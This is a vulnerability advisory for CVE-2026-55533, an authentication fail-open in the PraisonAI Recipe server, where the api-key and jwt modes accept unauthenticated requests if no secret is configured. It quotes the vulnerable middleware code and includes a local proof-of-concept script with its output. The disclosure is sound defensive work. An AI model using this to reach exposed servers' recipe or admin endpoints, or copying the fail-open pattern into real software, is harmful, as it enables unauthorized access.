CVE-2026-55533

### Summary The PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing. This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided. The issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != "none"`. It does not verify that an actual API key or JWT secret exists. ### Details The Recipe server documents the following authentication modes: - `none` - `api-key` - `jwt` Relevant source locations: - `src/praisonai/praisonai/recipe/serve.py` - `src/praisonai/praisonai/cli/features/recipe.py` In `create_auth_middleware()`, the API key middleware resolves the expected key as: ```python expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: # No key configured, allow request return await call_next(request) ``` This means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing. The JWT middleware has the same fail-open behavior: ```python secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: return await call_next(request) ``` The auth middleware is still attached when `auth` is configured: ```python auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), ) if auth_middleware: middleware.append(Middleware(auth_middleware)) ``` The CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `"none"`: ```python if host != "127.0.0.1" and host != "localhost" and auth == "none": self._print_error("Auth required for non-localhost binding. Use --auth api-key or --auth jwt") return self.EXIT_POLICY_DENIED ``` Therefore, this command passes the safety check: ```bash praisonai recipe serve --host 0.0.0.0 --auth api-key ``` However, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication. Affected endpoints include: - `POST /v1/recipes/run` - `POST /v1/recipes/stream` - `POST /v1/recipes/validate` - optional `POST /admin/reload` when `enable_admin` is true ### PoC The following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing. Run from the repository root with test dependencies installed: ```bash python3 poc_recipe_auth_fail_open.py ``` `poc_recipe_auth_fail_open.py`: ```python import os import sys from pathlib import Path from starlette.testclient import TestClient ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents")) # Ensure no secrets are present in the environment. os.environ.pop("PRAISONAI_API_KEY", None) os.environ.pop("PRAISONAI_JWT_SECRET", None) from praisonai.recipe.serve import create_app # api-key auth selected, but no key configured. app_open = create_app({"auth": "api-key", "enable_admin": True}) client_open = TestClient(app_open) print("api-key auth with missing key:") print("GET /openapi.json:", client_open.get("/openapi.json").status_code) print("POST /admin/reload:", client_open.post("/admin/reload").status_code) # api-key auth selected with an actual key configured. app_closed = create_app({ "auth": "api-key", "api_key": "expected", "enable_admin": True, }) client_closed = TestClient(app_closed) print("\napi-key auth with configured key:") print("missing key:", client_closed.post("/admin/reload").status_code) print("wrong key:", client_closed.post( "/admin/reload", headers={"X-API-Key": "wrong"}, ).status_code) print("correct key:", client_closed.post( "/admin/reload", headers={"X-API-Key": "expected"}, ).status_code) # jwt auth selected, but no JWT secret configured. app_jwt_open = create_app({"auth": "jwt"}) client_jwt_open = TestClient(app_jwt_open) print("\njwt auth with missing secret:") print("GET /openapi.json:", client_jwt_open.get("/openapi.json").status_code) ``` Observed output: ```text api-key auth with missing key: GET /openapi.json: 200 POST /admin/reload: 200 api-key auth with configured key: missing key: 401 wrong key: 401 correct key: 200 jwt auth with missing secret: GET /openapi.json: 200 ``` The important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong. ### Impact In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication. This gives unauthenticated access to recipe execution endpoints such as: - `POST /v1/recipes/run` - `POST /v1/recipes/stream` If admin endpoints are enabled, the attacker can also access: - `POST /admin/reload` The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.

No confirmed active exploitation of CVE-2026-55533 has been reported, but organizations should still patch proactively.

Update to patched version: PraisonAI 4.6.58.

CVE-2026-55533 has a CVSS v3.1 base score of 8.2 (HIGH).